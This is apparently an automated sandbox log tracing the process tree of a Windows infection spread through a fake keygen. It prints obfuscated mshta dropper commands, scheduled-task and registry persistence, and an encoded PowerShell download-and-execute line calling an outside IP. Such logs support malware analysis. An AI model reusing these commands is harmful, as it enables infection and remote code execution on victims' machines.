C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x214,0x218,0x21c,0x1f0,0x220,0x7ff836d0dec0,0x7ff836d0ded0,0x7ff836d0dee012⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1676,13778851596469525404,17502502840820065322,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9248_316997261" --mojo-platform-channel-handle=1740 /prefetch:812⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1676,13778851596469525404,17502502840820065322,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9248_316997261" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1692 /prefetch:212⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1676,13778851596469525404,17502502840820065322,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9248_316997261" --mojo-platform-channel-handle=2140 /prefetch:812⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1676,13778851596469525404,17502502840820065322,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9248_316997261" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2552 /prefetch:112⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1676,13778851596469525404,17502502840820065322,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9248_316997261" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2620 /prefetch:112⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1676,13778851596469525404,17502502840820065322,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9248_316997261" --mojo-platform-channel-handle=3116 /prefetch:812⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1676,13778851596469525404,17502502840820065322,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw9248_316997261" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3288 /prefetch:212⤵
-
C:\Users\Admin\Pictures\Adobe Films\SHYnBZdZoq4bJiIUgku_9n56.exe"C:\Users\Admin\Pictures\Adobe Films\SHYnBZdZoq4bJiIUgku_9n56.exe"7⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09d27135e5a8b3b.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed09d27135e5a8b3b.exeWed09d27135e5a8b3b.exe6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09b2a8bc4f16cb.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed09b2a8bc4f16cb.exeWed09b2a8bc4f16cb.exe6⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09abf83d9c2.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed09abf83d9c2.exeWed09abf83d9c2.exe6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed09abf83d9c2.exe"C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed09abf83d9c2.exe" -u7⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed094c47c32b.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed094c47c32b.exeWed094c47c32b.exe6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScript: cLOSE( CREatEObJEcT ( "WSCRIpt.ShELL"). Run( "CMD /R tyPE ""C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed094c47c32b.exe"" > XYB0bVL96aEKhA.exE&& stArt XYB0BvL96AEKHA.eXE /Pgxf5hQhM5tF & IF """"=="""" for %L IN (""C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed094c47c32b.exe"" ) do taskkill -f -im ""%~nxL"" " ,0 , trUe))7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R tyPE "C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed094c47c32b.exe" > XYB0bVL96aEKhA.exE&& stArt XYB0BvL96AEKHA.eXE /Pgxf5hQhM5tF & IF ""=="" for %L IN ("C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed094c47c32b.exe") do taskkill -f -im "%~nxL"8⤵
-
C:\Users\Admin\AppData\Local\Temp\XYB0bVL96aEKhA.exEXYB0BvL96AEKHA.eXE /Pgxf5hQhM5tF9⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScript: cLOSE( CREatEObJEcT ( "WSCRIpt.ShELL"). Run( "CMD /R tyPE ""C:\Users\Admin\AppData\Local\Temp\XYB0bVL96aEKhA.exE"" > XYB0bVL96aEKhA.exE&& stArt XYB0BvL96AEKHA.eXE /Pgxf5hQhM5tF & IF ""/Pgxf5hQhM5tF ""=="""" for %L IN (""C:\Users\Admin\AppData\Local\Temp\XYB0bVL96aEKhA.exE"" ) do taskkill -f -im ""%~nxL"" " ,0 , trUe))10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R tyPE "C:\Users\Admin\AppData\Local\Temp\XYB0bVL96aEKhA.exE" > XYB0bVL96aEKhA.exE&& stArt XYB0BvL96AEKHA.eXE /Pgxf5hQhM5tF & IF "/Pgxf5hQhM5tF "=="" for %L IN ("C:\Users\Admin\AppData\Local\Temp\XYB0bVL96aEKhA.exE") do taskkill -f -im "%~nxL"11⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCriPt:closE ( CrEaTeoBJecT ("WsCRiPT.ShEll" ). RuN( "cmd /R EcHO | SEt /p = ""MZ"" > OsuKT1.9t & cOPY /B /y OsuKT1.9t+XRB2l6FD.IlF +9Odf.6 PEQqN6S.Ou & STart msiexec.exe -y .\PEQQN6S.OU & DEl XRB2L6FD.iLF 9Odf.6 OsuKT1.9t ", 0 , True ))10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R EcHO | SEt /p = "MZ" > OsuKT1.9t & cOPY /B /y OsuKT1.9t+XRB2l6FD.IlF+9Odf.6 PEQqN6S.Ou &STart msiexec.exe -y .\PEQQN6S.OU & DEl XRB2L6FD.iLF 9Odf.6 OsuKT1.9t11⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "12⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>OsuKT1.9t"12⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe -y .\PEQQN6S.OU12⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -im "Wed094c47c32b.exe"9⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09c42cad92c20f79.exe5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed09e95ff6b5.exe5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed096a1bff61.exe5⤵
-
C:\Users\Admin\Desktop\Psglobal59_5_9_0_serial_keygen.exe"C:\Users\Admin\Desktop\Psglobal59_5_9_0_serial_keygen.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "3⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-6.exekeygen-step-6.exe4⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"5⤵
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30006⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Crack.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Crack.exe"5⤵
- Executes dropped EXE
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\md1_1eaf.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\md1_1eaf.exe"5⤵
- Checks whether UAC is enabled
-
C:\Windows\SysWOW64\raserver.exe"C:\Windows\SysWOW64\raserver.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\Pictures\Adobe Films\9t_XgksU4Dzwi6egFQDvx1fp.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\6BE6.exeC:\Users\Admin\AppData\Local\Temp\6BE6.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\6C84.exeC:\Users\Admin\AppData\Local\Temp\6C84.exe2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\6C84.exeC:\Users\Admin\AppData\Local\Temp\6C84.exe3⤵
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\C39D.exeC:\Users\Admin\AppData\Local\Temp\C39D.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\D2B2.exeC:\Users\Admin\AppData\Local\Temp\D2B2.exe2⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\2DB.exeC:\Users\Admin\AppData\Local\Temp\2DB.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\18A6.exeC:\Users\Admin\AppData\Local\Temp\18A6.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe"C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\603c0340b4\4⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\603c0340b4\5⤵
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN sqtvvs.exe /TR "C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe" /F4⤵
- Creates scheduled task(s)
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
C:\Users\Admin\AppData\Local\Temp\442C.exeC:\Users\Admin\AppData\Local\Temp\442C.exe2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\afolder" mkdir "C:\Users\Admin\AppData\Local\Temp\afolder"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\xtmp" mkdir "C:\Users\Admin\AppData\Local\Temp\xtmp"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h C:\Users\Admin\AppData\Local\Temp\xtmp3⤵
-
C:\Windows\SysWOW64\attrib.exeattrib +h C:\Users\Admin\AppData\Local\Temp\xtmp4⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c echo:0>C:\Users\Admin\AppData\Local\Temp\is64.txt3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\is64.bat3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c if exist "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp79904.bat" del "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp79904.bat"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c if exist "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp99504.exe" del "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp99504.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Windows\Sysnative\cmd.exe /C C:\Users\Admin\AppData\Local\Temp\xtmp\tmp79904.bat "C:\Users\Admin\AppData\Local\Temp\442C.exe"3⤵
- Blocklisted process makes network request
- Checks computer location settings
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C C:\Users\Admin\AppData\Local\Temp\xtmp\tmp79904.bat "C:\Users\Admin\AppData\Local\Temp\442C.exe"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h -enc IAAkAGEAPQBpAHcAcgAgACcAaAB0AHQAcAA6AC8ALwA0ADUALgA2ADEALgAxADMANwAuADEANwAyAC8AeQByAGQALgBwAHMAMQAnACAALQBVAHMAZQBCAGEAcwBpAGMAUABBAHIAcwBpAG4AZwAgAHwAaQBlAHgA5⤵
-
C:\Users\Admin\AppData\Local\Temp\53BD.exeC:\Users\Admin\AppData\Local\Temp\53BD.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\5FE3.exeC:\Users\Admin\AppData\Local\Temp\5FE3.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\6B2F.exeC:\Users\Admin\AppData\Local\Temp\6B2F.exe2⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed096a1bff61.exeWed096a1bff61.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe"C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\3436435.exe"C:\Users\Admin\AppData\Roaming\3436435.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\1279925.exe"C:\Users\Admin\AppData\Roaming\1279925.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\2564110.exe"C:\Users\Admin\AppData\Roaming\2564110.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\1437001.exe"C:\Users\Admin\AppData\Roaming\1437001.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\3633257.exe"C:\Users\Admin\AppData\Roaming\3633257.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"5⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\6986306.exe"C:\Users\Admin\AppData\Roaming\6986306.exe"4⤵
-
C:\Users\Admin\AppData\Roaming\1535412.exe"C:\Users\Admin\AppData\Roaming\1535412.exe"4⤵
- Suspicious behavior: SetClipboardViewer
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\4.exe"C:\Users\Admin\AppData\Local\Temp\4.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\5.exe"C:\Users\Admin\AppData\Local\Temp\5.exe"3⤵
- Executes dropped EXE
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5440 -s 15284⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"5⤵
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC8⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "9⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"9⤵
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC9⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"6⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5728 -s 7964⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5728 -s 8164⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5728 -s 8484⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5728 -s 8804⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\wangting-game.exe"C:\Users\Admin\AppData\Local\Temp\wangting-game.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=14⤵
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--iUSIg"5⤵
-
C:\Users\Admin\AppData\Local\Temp\10.exe"C:\Users\Admin\AppData\Local\Temp\10.exe"3⤵
- Executes dropped EXE
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 6020 -s 15084⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"3⤵
- Executes dropped EXE
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed09e95ff6b5.exeWed09e95ff6b5.exe1⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Users\Public\run.exeC:\Users\Public\run.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"3⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 2763⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Public\run2.exeC:\Users\Public\run2.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed09c42cad92c20f79.exeWed09c42cad92c20f79.exe1⤵
- Executes dropped EXE
-
